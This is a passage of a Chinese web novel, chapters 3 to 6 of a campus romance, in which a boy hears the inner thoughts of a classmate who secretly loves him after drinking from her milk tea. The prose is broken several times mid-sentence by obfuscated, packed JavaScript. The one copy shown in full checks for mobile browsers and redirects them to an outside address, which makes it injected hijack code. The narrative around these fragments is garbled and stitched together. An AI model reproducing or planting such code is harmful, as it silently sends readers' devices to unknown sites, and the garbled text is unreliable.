《救命!暗恋对象会读心》 3. 攻略第三天 柏江忻听见向笛礼貌地对店员说:“你好,我要一杯蜜桃四季春。” 是她。 柏江忻确定了。 和默读一样,每个人的心声和自己通过声带物理震动发出的音色是一样的,向笛的心声依旧是清甜乖巧的嗓音,只是从她心里说出口的,比从嘴巴说出来的要放飞了很多。 【四季春呀~四季春呀~和老公一起喝四季春~这样就等于是在喝情侣奶茶~】 向笛在心里哼起了歌,不知道是什么曲调,反正不是那首供养的调子,大概率是自己原创的。 说实话,作曲天赋不怎么样。 柏江忻半天没动静,叶旻嘉催促:“走不走啊?” 柏江忻回过神:“走。” 终于挤出人群,叶旻嘉整理了一下校服,抱怨道:“我服了,买个奶茶这些人至于吗,都快给我挤成老婆饼了。” 听到叶旻嘉说老婆饼,柏江忻忽然喉结颤动,嘴角轻嗤。 叶旻嘉不解:“你笑什么?” 柏江忻看着他,莫名其妙来了句:“你还挺适合当预言家的。” 好一场只在心里盛大的暗恋默剧,吵得他耳朵都快聋了。 叶旻嘉更不解了:“啥意思?” “没什么意思。”柏江忻淡淡说,“我就陪你来买这一次,下次你自己来买。” 叶旻嘉无奈:“你就这么讨厌喝奶茶?” “不讨厌。”柏江忻说,“但也不喜欢。” - “妈的好甜。” 刚拿到奶茶,回教室的路上,叶旻嘉迫不及待地先尝了一口。 这哪是全糖,这是全世界的糖都加到他这杯奶茶里了。 还是她们女生厉害,这么甜的东西都能喝得面不改色,怪不得向笛这次联考进步这么大,有这样的耐糖度,她做什么都会成功的。 顺便看了眼身边的柏江忻,叶旻嘉问:“你这个不甜吗?” 柏江忻:“还行。” 叶旻嘉抽出吸管,想蹭他的:“给我喝一口。” 柏江忻迅速往旁边一避。 “你也太小气了吧。”叶旻嘉表情不爽,“你这杯还是我请客的好吧,早知道就不请你喝了。” 谁知柏江忻压根不吃道德绑架这一套,淡淡说:“待会儿我把钱转你。” “……你这人怎么一点幽默感都没有。” 自己这杯实在太甜,叶旻嘉实在不想喝,于是说:“要不我俩换着喝?” 说完他把自己的那杯往柏江忻眼前递,柏江忻立刻嫌弃皱眉。 “拿开,你喝过的不要给我。” 叶旻嘉知道他有洁癖,不爱去人多的地方,不喜和人有任何的肢体接触,甚至是在吃喝这方面,每次去食堂吃饭,都要坚持带自己的餐具,哪怕出去下馆子,只要柏江忻在,其他人都得用公筷,一旦有人敢用自己的筷子夹菜,这人立马一口都不吃了。 搞得好像多嫌弃别人似的,所以柏江忻几乎不参加任何同学之间的聚餐。 他成天冷着一张脸,女生们把他当可望不可及的高岭之花,平时只敢远观,至于男生,大都是萍水之交,平时凑一起打打游戏,也就叶旻嘉能忍受他,给当他兄弟,才不至于让这位天赋值全点在了智商和颜值的校草大人在学校落单。 主要也是叶旻嘉脸皮厚,柏江忻越不让他喝,他就越是想犯这个贱。 他干脆揽住柏江忻,去抢他手里的那杯。 柏江忻表情嫌弃,无奈叶旻嘉实在太难缠,还试图逼迫他喝他那杯甜得要死的奶茶,柏江忻警告他:“叶旻嘉,你别犯贱。” 压低的嗓音带着怒意,叶旻嘉扒在他身上,被好兄弟认真生气的样子吓到了。 不过就是开个玩笑,他也知道他有洁癖,不可能跟人共喝一杯奶茶,但至于这么凶吗? 叶旻嘉是真的把柏江忻当兄弟看,可柏江忻老给他脸色看,他也难免有时候会觉得不爽。 【日,这小子就这么嫌弃我?】 【三年兄弟,不过如此。】 【算了,反正高考以后桥归桥路归路,老子就再也不用热脸去贴这个死冰块了。】 叶旻嘉在心里边嘀咕边矫情。 微不可察地叹了口气,柏江忻说:“你知道我有洁癖,不能跟别人喝一杯饮料。” 顿了下,他又补充:“下次我请你喝。” 他不善安慰,更不善服软,这已经是他对朋友最大的让步了。 好在叶旻嘉这人没心没肺又好哄,切了声。 “行吧,这次我就不跟你计较了。” 【就知道你小子还是怕失去我的。】 对于叶旻嘉这种翻脸比翻书还快的心理活动,柏江忻早就习惯了。 叶旻嘉的心声并不会让柏江忻觉得反感,他一向拒绝跟其他人有任何肢体接触,也不屑窥听其他人的心声,只是叶旻嘉除外,虽然这人经常犯贱,但确实是真的把他当朋友。 当然,再好的朋友也不能共喝一杯奶茶。 马上要高考,平时偶尔身体上的肢体接触,已经够让柏江忻觉得耳边聒噪了,他不想再一天到晚没完没了地听到叶旻嘉那毫无营养的心声。 而且窥听他人心声,终归是对他人隐私的一种冒犯。 如果叶旻嘉知道他有这个能力,别说和他分享一杯奶茶了。 估计远离他都来不及。 无论多好的关系,都没人会愿意被扒光了所有的秘密站在对方面前,连心里想什么都被对方知道得一清二楚。 - 买到了和柏江忻同款的奶茶,向笛喝得特别开心。 虽然每天都会有很多人点同款的奶茶,这不算什么多特殊的事,但单恋的人总有一万种办法洗脑自己。 向笛舍不得这么快就喝完,她打算把奶茶带到教室里,然后放在课桌上摆着,虽然这样也不一定会有人发现她和柏江忻点的奶茶是一样的。 但哪怕有一个人发现了呢?然后开玩笑地说,咦,你和柏江忻点一样的奶茶,你们俩这么有默契啊。 真的只是一点点暗恋的小心机而已。想到这里,向笛先忍不住笑了出来。 一口气喝了大半杯的奶茶,梁芊芊忽然想去厕所,于是让向笛帮她把奶茶带回教室,她先去厕所解决。 这会儿正好是午休时间,教室里没什么人,高三的教教室书山成堆,向笛下意识地往某张课桌那儿看去。 他人不在,但刚刚买的奶茶放在课桌上。 趁着没人注意,向笛默默走到他的课桌旁。他们班是重点班,书山已经算是堆得比较少的了,但比起其他人课桌上一摞比一摞高的违章建筑,柏江忻的课桌更简洁干净。这是一个奇怪的现象,学习越好的人,桌上的书反而越少。 他桌上摆着草稿纸,上面是某道数学题的求解过程。 abcdxy,每一个字母都写得很好看,怎么连几何题的辅助线都画得这么笔直这么好看呢。 向笛不知不觉看入了神。 “你有事?” 一个声音忽然打断了她的沉迷,向笛抬头,柏江忻不知道是什么时候回来的。 她微微张嘴,被暗恋对象当场抓包,在他的课桌前对着他的草稿犯花痴,没什么比这个更社死的了。 柏江忻平静地看着向笛。 仅从女孩儿的外表上来看,乖巧文静的样子,确实一点也看不出来她心里的那些端倪。 柏江忻没有把奶茶店那件事放在心上,也不打算揭穿向笛的秘密。 向笛在心里怎么想他、怎么称呼他都是她的事,她喜欢谁、讨厌谁、甚至暗恋谁,都是她的自由,哪怕这个对象是他,只要不打扰到他,他都管不着。 前提是她只能在心里想,而不是站在他面前,打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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柏江忻压根注意不到面前女孩儿的这点小心机,再加之向笛问的题目确实比较难,需要一点时间,他边低头演算,边顺手拿起桌上的奶茶,稍微喝了口。 “啊。” 一声轻呼。 柏江忻抬起头,神色略微不耐。 又叫什么? 向笛圆润的眼睛睁得老大,小心地指向他手中的那杯奶茶。 “那个,你喝错奶茶了,这个,是我的奶茶……” 柏江忻怔住,看着自己手里的这杯。 来不及了,他已经喝进去了。 柏江忻脸色一变。 一般人在被其他人错喝自己的东西后,第一反应通常都是尴尬、不适,以及完了这杯奶茶不能要了。 但向笛的反应截然不同。 通过唾液中的微生物而产生的生物链接形成,很快,柏江忻的大脑接收到一阵尖叫,甚至比中午的更激动。 【救命。】 【这是间接接吻,这绝对是间接接吻吧!】 【上辈子行善积德,这辈子和老公间接接吻,老天奶,你对我也太好了吧。】 【啊!啊!啊!】 柏江忻脸色无语。 她是土拨鼠吗? 接着,他又听见了土拨鼠发出了得意的哼哼声。 向笛的脑回路的确非同一般,发生这种意外,除了和暗恋的男生间接接吻的兴奋,她心里甚至还有一点小小的幸灾乐祸。 【让你平时那么高冷,同班一个学期了,连我是你的同班同学都不知道,这下好了吧,吃到我的口水了吧,看你怎么收场~】 【略略略~】 柏江忻:“……” 这幸灾乐祸又欠了吧唧巴不得他出丑的小语气,这人真的暗恋他? 4.攻略第四天 不管暗不暗恋,柏江忻现在确实需要说点什么来收场。 他的读心术,其实并没有影视剧里说的那么玄乎。 柏江忻能够听见其他人的心声,但不是随时都能听,也不是想听谁的就能听谁的,如果他真有这种能力,美国总统有几个情人几个私生子他都能知道。 他需要某种媒介才能听见。目前为止条件最简单的媒介是物理传递,只要身体接触到对方,对方的心声便会像电流传递一样,直接传递进他的大脑,一旦触碰中断,传递也会中断。 另一种传递是生物传递,对方的唾液、血液,乃至任何体|液,其中的有机和无机成分,只要接触到,都能成为传递心声的媒介。 至于如何中断,只有一个办法。 熬着,等自己的身体消化吸收。 这也是为什么他有严重洁癖,且必须跟人保持距离的原因,如果实在避免不了去人多的地方,他只能把口罩戴上。 和向笛共喝了一杯奶茶,不用再肢体接触,他现在也随时都能听到她心里在想什么。 至于失效的时间,未知。因为这是自他有个体意识以来,第一次吃下别人的……唾液。 因为向笛的内心活动实在太过丰富,柏江忻甚至还脑补出了她此刻的真实表情。 面色绯红,圆润的眼睛笑成弯月,嘴角咧到耳根,露出一排小巧的白牙。 可让她抓着机会,在他面前得意死了。 柏江忻强迫自己无视她内心的呐喊,绷着脸跟她道歉:“……抱歉。” “我再赔你一杯新的。” 如果此时柏江忻听不到她的心声,那么这件事大概率已经结束了,他道歉,她原谅,他们以后还是陌生人一般的同班同学。 但显然已经不可能了。 【赔我?呵呵。】 她在呵什么? 【男人,你赔不起的。】 一杯奶茶他有什么赔不起的,他还没穷到那种地步。 【不过你可以用别的东西来赔我,比如你的身体。】 “……”无了个大语。 柏江忻想笑。原来人无语到极致是真的会笑的。 她现在的当务之急就是赶紧把手机里的小说软件给卸载了。 再无语,柏江忻依旧没有揭穿向笛。 有本事就说出来,他倒要看看她有没有那个胆子。 以为太过兴奋,向笛在脑子里闪过各种霸道总裁台词,然而现实是她一句都不敢真的说出口,心里说要看他怎么收场,可终究还是不舍得让暗恋的男生难堪。 于是话到嘴边变成了最窝囊的:“没事没事,不用赔的,反正我也喝得差不多了。” 如果是别人喝了她的奶茶,她可能还会介意一下下,但柏江忻对她来说又不是别人。 她跟柏江忻刚才共喝了一杯奶茶,这跟接吻有什么区别。 她高兴还来不及呢。 不知道他的嘴唇尝起来是不是也跟他给人的感觉一样,冰冰凉凉的,外头裹着一层雪霜,像冷藏口味的夹心薄荷糖。 心里想着薄荷糖的味道,向笛忍不住抿了下唇。 她没有察觉,柏江忻也在这一秒,非常隐蔽地抿了下唇。她在想象他嘴唇的味道,而他也感知到了。 发生了这种甜蜜的意外,向笛已经没什么心思再听柏江忻继续讲题了。 估计柏江忻这会儿也不想再给她讲题了,还是给他一点时间冷静一下吧,毕竟堂堂校草男神居然犯了这种低级错误。 向笛识趣地说:“我好像有点思路了,这题目我回头自己再研究研究吧,谢谢你。” 礼貌地跟他道谢,拿上自己的题本和奶茶,向笛准备开溜。 “……你等等。” 柏江忻叫住她。 向笛不解:“怎么了?” 她困惑的样子看起来很单纯。 但恐怕只有脸是单纯的,真单纯的人谁会莫名其妙臆想别人的嘴唇是什么味道。 算了,毕竟这乌龙是他闹出来的,她没什么错。 柏江忻默默撇开眼,沉声说:“奶茶给我,我帮你扔了。” 向笛没想到他居然这么乐于助人。 “啊?不用不用,我自己去扔就行了。” 他不容拒绝:“给我。” 这杯奶茶必须他亲自拿去扔,不然谁知道她会不会对这杯他不小心喝过的奶茶做什么不可告人的事。 向笛也不敢拒绝,怕他不高兴,只能任由让他拿走。 好可惜啊,本来她还打算把他嘴巴碰过的吸管拿回家,洗一下再珍藏起来的。 向笛悄悄撇嘴。 “……” 她是痴汉吗? 得赶紧把奶茶扔了。 拿过奶茶的时候,手指不小心擦到她的手背,向笛的手不自觉地颤抖了一下。 再刻意避免跟向笛的肢体接触如今已经没什么意义了。柏江忻面无表情,径直往教室后面的垃圾桶走去。 心声传输和蓝牙传输差不多,有一定的接收范围,教室就这么点大,他依旧能听见她此刻心里在想什么。 【老公的手好冰哦。】 【都说手冷的人上辈子是折翼的天使……】 他上辈子是不是折翼天使不知道,但他知道她这辈子肯定是个非主流晚期。 【但也有可能是气血不足,比较体虚……】 【完了,他不会那方面不行吧?!】 非主流晚期的思维实在太跳跃了,柏江忻差点没跟上,脚步一顿。 哪方面不行? 【只能看不能用,那我往后余生的幸福可怎么办?】 她要用他干什么? 【没事哒没事哒,既然爱他,就要包容他的一切。】 【用手也是一样的嘛。】 “……” 柏江忻有些厌恶自己的秒懂。 他请问呢,她在自我安慰什么?退一万步说,他行不行,跟她有什么关系? 还用手,她倒想得挺美。她是不是觉得自己特别伟大、特别大度?居然连一个男人不行这种事都能包容。 柏江忻有点忍不下去了,回过头,向笛还站着原地。 猝不及防的对视,向笛愣了下,心跳加快,但好在她能够把这种心动的表现藏得很好,至少从外表上看,一点都看不出来。 她淡定问他:“嗯,怎么了?” 那张清秀可爱的脸上满是无辜,柏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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好在这场内心大戏很快就杀青了,向笛小声且矜持地和柏江忻说了句谢谢,继续低头誊抄英语作文。 柏江忻没有很快离开,在她的课桌前站了一会儿。 他的影子投在她的课桌上,向笛没有办法不在意,又抬起头,客气地问:“柏同学,你还有事吗?” 柏江忻启唇,唇角微微动了下:“你……” 向笛不明所以地眨眨眼。 此刻她的内心活动就和她脸上呆萌的表情一样,脑袋上顶着一个大大的问号。 几秒钟后,柏江忻沉声说:“没事。” 回到座位上后,柏江忻扶着额角,不想说话。 一失足成千古恨,怎么就能犯这种低级错误,连奶茶都能喝错。 高什么考,请假回家算了。 本来只要和人保持肢体距离就行了,现在除非他不来学校上课。 就不该买那杯奶茶。 再懊恼叹气,此刻也于事无补了。心情实在复杂,柏江忻最后还是从课桌里抽了张纸巾,默默擦了擦自己其实很干净、但仿佛已经被某只土拨鼠给玷污了的嘴巴。 5.攻略第五天 当晚,柏江忻说自己身体不太舒服,直接请假了。 迎着晚自习的铃声,所有人都在往教室跑,唯独他逆着人流,走出了教学楼。 明天也不想来学校,但现在高三学习紧张,想请假并不容易,既需要老师批准,还要求必须由家长来说。 回家后,柏江忻只好给父亲柏光打了个电话,说想请一天假。 电话那头的男人似乎很忙,忙到接起儿子的电话以后,还在那边跟下属说了半分钟的话,才回他:“请假干什么?” 柏江忻甚至懒得找借口,说自己身体不舒服,直接说:“不干什么,想在家待一天。” 一般家长听到这话,不问清楚想请假的原因,是绝对不会给孩子准假的。 “机票你帮我改签,今天晚上就走。” 接着又是一阵纸张的声音,柏光说:“好,回头我让秘书打电话给你们班主任请假。” 柏江忻嗯了声。 “还有别的事吗?” “没了。” “马上要高考了,自己平衡好学习和休息时间。” “嗯。” 挂了电话,柏江忻看了眼屋子的四周,虽然待在家里没什么意思,但至少家里清静。 安静的家里,没有一个人,家里阿姨也回房间休息了,柏江忻仰头,靠在沙发上,看着从二楼吊顶垂下的玻璃灯发呆,头痛总算是缓解了点。 也是够窝囊的,长这么大,第一次被一个女孩子的心声给吓得只能躲在家里。 如果不是这个意外,他绝不会注意到向笛这个陌生的同班同学,也绝不会发现她喜欢他。 他不是没有意外撞见过其他人的心声,上一次听到异性的心声还是去年生病得流感的时候,护士给他抽血,一边娴熟地将针头插进血管,一边诅咒同事XX医生早点死。 再上一次,是高一的课间出操,队列解散的时候很乱,一个女生撞到了他面前,他伸手稍微扶了一下,结果听见了她的心声。 【成功了!柏江忻扶我了嘿嘿。】 后来女生跑走了,叶旻嘉暧昧地戳戳他的胳膊,说那女生的表情看着有点娇羞啊,是不是对他有意思。 “她不会是故意往你身上撞的吧?” 柏江忻只是淡淡否认:“胡说什么。” 所以当时在奶茶店的时候,他听见向笛的心声,除了因她的一声老公略微蹙了下眉,没有任何多余的感想,直接当做没听见。 不过这个女孩子,显然没有她外表看上去那么单纯无害。 与其说她是喜欢他,不如说是—— 把他当大补丸。 这一个煎熬的下午,她的脑子里一共就装了两件事。 学习和他。 不是听见她在抱怨好辛苦,刚做完一张模拟真题卷,又来一张名校复习卷,就是听见她在庆幸—— 【还好有老公在,一看到老公那张帅帅的脸,瞬间就被治愈了~】 【不就是写卷子吗,再给我来八百张都没问题!】 简直是吵得要死。 外表看上去那么秀气文静的一个女孩子,怎么内心戏能聒噪又好色到这个地步。 反正现在他回家了,那八百张试卷,她自己加油吧。 先在家待一天,隔天再去学校看看,他希望那时候已经听不见某只有贼心没贼胆的土拨鼠的内心碎碎念了。 - 柏江忻晚自习请假了。 向笛的精神食粮没有了。 一整个晚自习,她都是浑浑噩噩度过的,结果到了第二天早上,高高兴兴过来上早自习,满怀期待能看到他,可一直到早自习都上完了,第一节课的铃声都响起来了,柏江忻还是没有来。 她想知道他为什么还没来上课,又不敢找人打听。 她一个平时跟柏江忻压根就没交集的人,突然打听他为什么没来上课,这跟狼人自爆有什么区别。 没办法,谁让她是暗恋呢。 生怕让任何人发现,以至于连对他的关心,都无法明目张胆地说出口。 好在任课老师也关心柏江忻,直接问:“咦,柏江忻呢?” 向笛默默在心里说了句谢谢老师。 这次,叶旻嘉没说柏江忻去厕所了,而是说:“老师,柏江忻生病了,今天请假。” 任课老师哦了声,让同学们把昨天布置的试卷拿出来,开始讲课。 向笛心不在焉地拿出试卷。 接下来的一天,向笛总是找机会不经意间转头,去看柏江忻的座位。 她知道他不在,可他的座位早已经成为了她每一寸余光的落脚处。 就像高一和高二的那两年,那时候的向笛还在平行班,无数次地路过他的班级,跑遍了一整个年级的走廊,只为制造一次与他面无表情的擦肩而过。 虽然并不会引起他的注意,但已经足够她为这几秒钟而高兴一整天。 向笛拍拍自己的脸。 算了算了,不要再回想这么酸涩的过去了。 好不容易考进重点班了,已经跟柏江忻在一个班了,她已经很幸运啦。 凡事要往好的地方想,她相信他一定会马上回学校上课的。 - 乐观的人总是会幸运一些的。 柏江忻隔天就回学校上课了。 一如往常的早晨,空气中带着凉意,走廊上和教室里都是背书的声音,柏江忻单肩背着书包,双手插着裤兜懒洋洋上楼。 向笛就站在走廊上,拉着梁芊芊背英语作文。 她背的是有关提倡低碳生活的作文模板。 “Resently,it is very popular to live a low-carbon life——” 她的发音算不上多标准,但胜在态度认真,声音也很甜,断句和顿挫像小朋友念口谣,一个单词一个单词地往外蹦。 刚走上楼,就听见她背英语的声音,听了几秒钟,柏江忻稍微松了口气。 应该是失效了。 但下一秒,突然卡壳的向笛开始乱晃眼珠子,直接对上了他的目光。 【啊!】 柏江忻收回自己上一秒种的庆幸。 没有失效,他还是能听见土拨鼠的尖叫。 早知道就再多请几天假了,现在他爸去国外出差去了,更没时间接他电话。 接着他又听见了她惊喜的声音。 【太好啦太好啦!他果然只请了一天的假!】 【今天又可以看到老公了,嘿嘿。】 【lucky girl就素我!】 对,全世界最幸运的就是她,他这颗学习大补丸又送上门来了。 柏江忻面无表情地走进教室。 坐在教室里的叶旻嘉看到他,格外惊讶:“我去,你病这么快就好了?” “没好。” 本来以为已经没事了,结果还是那样。 不过就是一口奶茶而已,土拨鼠的尖叫究竟要什么时候才能消失。 “还没好你就回来上课了?大哥,有必要这么热爱学习吗?” 柏江忻没理他,叶旻嘉嘴上嘟囔道:“想卷死谁啊,都八校联考第一了,少上几天课能怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【他果然是得流感了。】 【不过流感应该没那么快好全吧?】 【虽然很想天天都能看见老公,但是身体要紧,还是在家多休息几天比较好吧。】 【前几天听妈妈说,流感吃什么药最有效来着,好像家里买了几盒,不知道老公有没有买那个药,好想拿给他吃……算了,他跟我都不熟,肯定不会收的,我还是别自取其辱了。】 【要不想个办法告诉班长,再让班长告诉他……可是这样做好明显,班长会不会发现我喜欢他啊,那就丢脸了……】 【啊啊啊好纠结!】 【不认识我、不喜欢我都没有关系,但是老公一定要身体健康,老天奶保佑保佑。】 最近天气一会儿凉一会儿暖的,确实容易生病。 实在不行,她身体素质好,从小到大都很少生病,如果可以,分给柏江忻也可以。 这一刻,不是因为想每天都能在学校见到喜欢的人才让老天保佑,而是单纯地希望喜欢的人能身体健康、无病无灾。 “柏江忻。”陈京华又提醒了一句,“老师问你话呢,病好了吗?” 柏江忻回过神。 垂下的长睫遮住清冷无波的眼眸,他喉结微动,淡淡嗯了声。 “好了。”微不可察地勾了勾唇角,柏江忻又额外补充了一句,“老师放心,已经全好了。” 某个人这会儿也放心了。 【好耶!】 【已经全好了,小小流感,拿下!】 【不愧是老公,除了那方面存疑,其他方面的身体素质都是棒棒哒!】 柏江忻沉下脸来。 还是回家吧。 他请问她的脑回路能不能,能不能有哪怕一秒钟,保持一下刚刚的率真可爱,不要往奇怪的地方拐? 还有,虽然跟她无关,但他各方面都很棒,不需要存疑。 6.攻略第六天 关心完学生,陈京华开始讲课。 化学是向笛的短板科目,她得认真听,这会儿终于老实了。 总算安静了。 “上完这节课我走了,你帮我跟老师说一声。”柏江忻说。 “你刚不是还说你病已经好全了吗?现在上一节课又走了?”叶旻嘉莫名齐妙,“年级第一也不能这么作吧?” 柏江忻蹙着眉,语气略有不爽:“我作?” “那不然谁作?”叶旻嘉反问。 柏江忻被问得一时哑口。 算了。 不想说话,柏江忻开始补昨天发下来的化学试卷。 叶旻嘉不明所以。 这人到底怎么回事啊,感觉他这两天脾气格外不稳定,以前好歹只是高冷不爱搭理人,现在感觉都要往躁郁症方向发展了。 难道是考前焦虑症? 叶旻嘉想不通。 毕竟是班主任的课,也不好当面说小话,作为班长,叶旻嘉有义务关心班上同学的心理状况,更何况柏江忻还是他的好兄弟,那他就更要关心了。 叶旻嘉决定等下课,好好找柏江忻谈谈心。 上完一节课,他还没开口,柏江忻撂下笔就出去了。 叶旻嘉叫住他:“喂,干嘛去啊你。” 柏江忻头都没回:“上厕所。” 走这么快,快尿出来了? 叶旻嘉撇嘴,总不能跟人在男厕所谈心,还是等人回来再说吧。 低头往课桌里去找下节课可能会用到的卷子,忽然有人找他。 “班长。” 叶旻嘉抬头,首先映入眼帘的是一张略有局促的鹅蛋小脸。 真是稀奇,向笛居然会来主动找他。 女生干什么都喜欢成群结队,包括来找班长的时候。向笛旁边还有个梁芊芊,梁芊芊高一就跟他是一个班的,叶旻嘉更熟悉她。 于是他看着梁芊芊问:“你俩有事吗?” “哦,老班不是说最近流感多吗?向笛听她妈说有个专治流感的药,一吃就好,我想着要不跟老班提议一下,用班费买几盒药在教室里备着?” 这个提议可以,反正他们班班费多,放在那儿也是放,还不如买点有用的东西。 “看不出来你还挺细心的。” “不是我,是向笛提议的。”梁芊芊说。 向笛立刻解释:“我就是刚才上课的时候,听到老师说柏江忻不是得流感了吗,就恰好想到了这点。” 只有她自己知道,不是恰好,她用全班人作借口,只为了让自己对那一个人的关心不那么明显。 这样下次柏江忻再生病,就不用担心了。 - 一直到第二节上课打铃,柏江忻才踩着点进教室。 “我还以为你掉厕所里了。”叶旻嘉说,“中午陪我去趟药店呗。” 柏江忻:“你有病?” “你才有病。是去买预防流感的药好吧?” “不去。”柏江忻直接拒绝。 叶旻嘉毫不意外,平时喊他陪自己去买个奶茶都跟请老爷似的,更别说买药了。 “妈的无情,那你别想我帮你跟老班请假了。” 大不了他自己去买,又不是女生,干什么都要人陪。 “我好像忘了问药叫什么名字了。”叶旻嘉忽然想起,朝着前面的座位喊了声,“向笛,向笛。” 柏江忻下意识地顿住,抬起头。 向笛转过头来。即使已经清楚地听见是班长在叫自己,可是她还是忍不住在转过头后,目光一瞬间停在柏江忻身上。 不敢停留太久,唯恐露出破绽,她很快又移开了目光。 叶旻嘉问:“你推荐我买的那个流感药叫什么名字来着?” 回答了班长的问题后,向笛继续做自己的事。 其实很想让他知道,她是为了他才跟班长提议买药的,可是又怕他知道了以后,她喜欢他这件事再也无处可藏。 【我喜欢柏江忻。】 可是表白是不可能的,这辈子都不可能的。 光是在心里说,都让人觉得很害羞,更别说当着那个人的面说了。 【啊啊啊好难为情!】 向笛忽然伏倒在桌上,半张脸埋在胳膊里,只露出一双眼睛,拿起笔,在草稿纸上写下一个名字的首字母缩写。 【bjx,我真的很喜欢你。】 【……虽然你这辈子可能都不会知道。】 【有一种爱叫默默无闻,那就是我对你的爱。】 默默无闻? 明明就吵得要死。 吵得他没有一分一秒忘记过她喜欢他这件事。 看着前排那个跟着主人伏桌的动作一块儿耷拉下来的丸子马尾,柏江忻扯了扯唇。 可是她的心里喊再大声有什么用,还不是一只有色心没色胆的土拨鼠。 柏江忻突然说:“中午我陪你去买药。” 叶旻嘉:“啊?” 柏江忻难得耐心地重复了一遍:“我说我中午陪你去买药。” “妈呀,太阳打西边出来了。”叶旻嘉问,“那你待会儿还走不?” “不走了。”柏江忻淡声说,“毕竟还有八百张试卷要写。” 看在她拐弯抹角关心他的份上,学习大补丸就学习大补丸吧。 就算是他回谢她的关心了。 虽然她也不会知道。 不过很快,柏江忻就后悔了。 - 今天的晚自习轮到生物老师负责。 生物老师拿着一摞试卷走进教室,大家伙一看,就知道今天晚上的晚自习又被安排得明明白白了。 以前自习课被占用拿来考试,还能像个活人一样抱怨两句,现在都熬到这份上了,早就麻木了。 生物老师搓了搓手指,开始发试卷。 “这节课考试,来第一排的同学把试卷传下去,不用答题卡都直接写卷子上。” “考吧考吧,考死我算了。”叶旻嘉边传试卷抱怨,“上辈子杀人放火,这辈子备战高考。” 再一看旁边的柏江忻,已经开始写了,前两个选择题都选好了,他都看到答案了。 “大哥,你能有点人类的七情六欲吗?”叶旻嘉忍不住问,“你是Al吗?” “赶紧写吧你。” 柏江忻懒得搭理他。 叶旻嘉扫了眼试卷,全身的细胞都在抗拒。 “不想写……”叶旻嘉捂着头说,“再这样下去我真的要厌学了。” 不光他一个人不想写,大部分人都不想写,拖拖拉拉的,光往后传个试卷,就传了差不多七八分钟才传到最后一排的同学手上。 教室终于安静了下来。 柏江忻已经写到了最后几个选择题,直到这时候,他才听见某个半死不活的声音。 呵,都已经开考十多分钟了,终于开始审题了。 【下面关于细胞结构的描述,错误的是,A,细胞膜具有选择透过性……嗯对,B,线粒体是有氧呼吸的主要场所,嗯也对……C,核糖体是蛋白质合成的场所,靠,怎么C也是对的?】 【选D?好烦啊为什么要把正确选项放在最后一个,害我四个选项都要分析一遍,浪费我时间!第二题!】 【你怎么也选D?!出题老师脑子有毛病吧!】 好大的怨气,就因为连着两个选择题都选D,某个人听上去要把出题老师给拉出去发卖了。 【第三题选A,嗯,表现不错,朕要亲封选择题第三题为嫡长题,后面的题目最好都懂事一点,自己把正确选项给朕标出来,不然全都发配为庶题,打入冷宫错题本,永世不出!】 “……”嫡庶神教开始入侵生物试卷。 好在后面没有连着选D的选项了,后面的选择题都逃过了被打成庶题的命运。 【细胞周期中,DNA复制发生在什么时期?是什么时期来着?完了,忘了。】 柏江忻有些无语。 S,S,这么简单的基础题,知识点都背到哪里去了? 【没事,先看看选项,做个排除法,G1时期,S时期,M时期,嗯?S|M?好变态哦。】 S是DNA合成期,M是有丝分裂时期,明明变态的是她的脑子。 一碰到不会的题目就又开始想这些乱七八糟的了。 柏江忻叹气。 不过向笛的选择题总算是平安写完了,终于顺利来到了下一个题型。 好在生物本来也没什么复杂的计算题,虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15260082|166257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考试的时候某个人的碎碎念依旧挺多的,碰上简单的就感叹自己怎么聪明,碰上难的就责怪出题老师不懂事,但姑且还在柏江忻能忍受的范围内。 这么几天下来,他甚至已经有一点习惯向笛那些天马行空的内心碎碎念了。 只要她别老想他。 考试的时候,虽然怨气大,嘴也碎,但向笛确实还算是很专心的,直到她写到一道有关于性状遗传的题。 原题是两只不同颜色的豚鼠交|配,计算它们的后代颜色概率。 没什么难度的题,这回她应该不会有什么幺蛾子了。 但柏江忻显然低估了向笛的搞事程度。 【黑色豚鼠是显性性状,双眼皮也是显性性状,我是双眼皮Dd,柏江忻也是双眼皮Dd,那我们生出来的小孩是单眼皮dd的概率就是……】 “……” 不当土拨鼠要当豚鼠了是吧。 按了按太阳穴,柏江忻在心里劝自己算了,做题而已。 事实证明柏江忻再一次低估了向笛强大的联想能力。 【不过如果我和柏江忻要生小孩的话,那我们就要先……】 向笛轻轻咬着笔尖,眼神逐渐放空。 不多一会儿,她咬着唇憋笑,重重拍了下自己的大腿。 旁边的梁芊芊被她吓了一跳,悄声问:“你咋了?” 向笛回神:“没咋。” 心虚地看了眼讲台上的生物老师,老师正在玩手机,又看了眼周围的同学,大家都在专心写自己的试卷。 向笛再次小幅度转头,往后看去。 柏江忻也在专心写试卷。 低头看手机的生物老师这会儿正好抬起头活动脖子,发现有个女生瞄来瞄去的,咳了声,委婉提醒:“都自己写自己的试卷啊,别到处乱看,高考的时候能让你到处看吗?” 向笛脸上一红,立刻转过头,死死盯着面前的试卷,再也不敢乱瞄了。 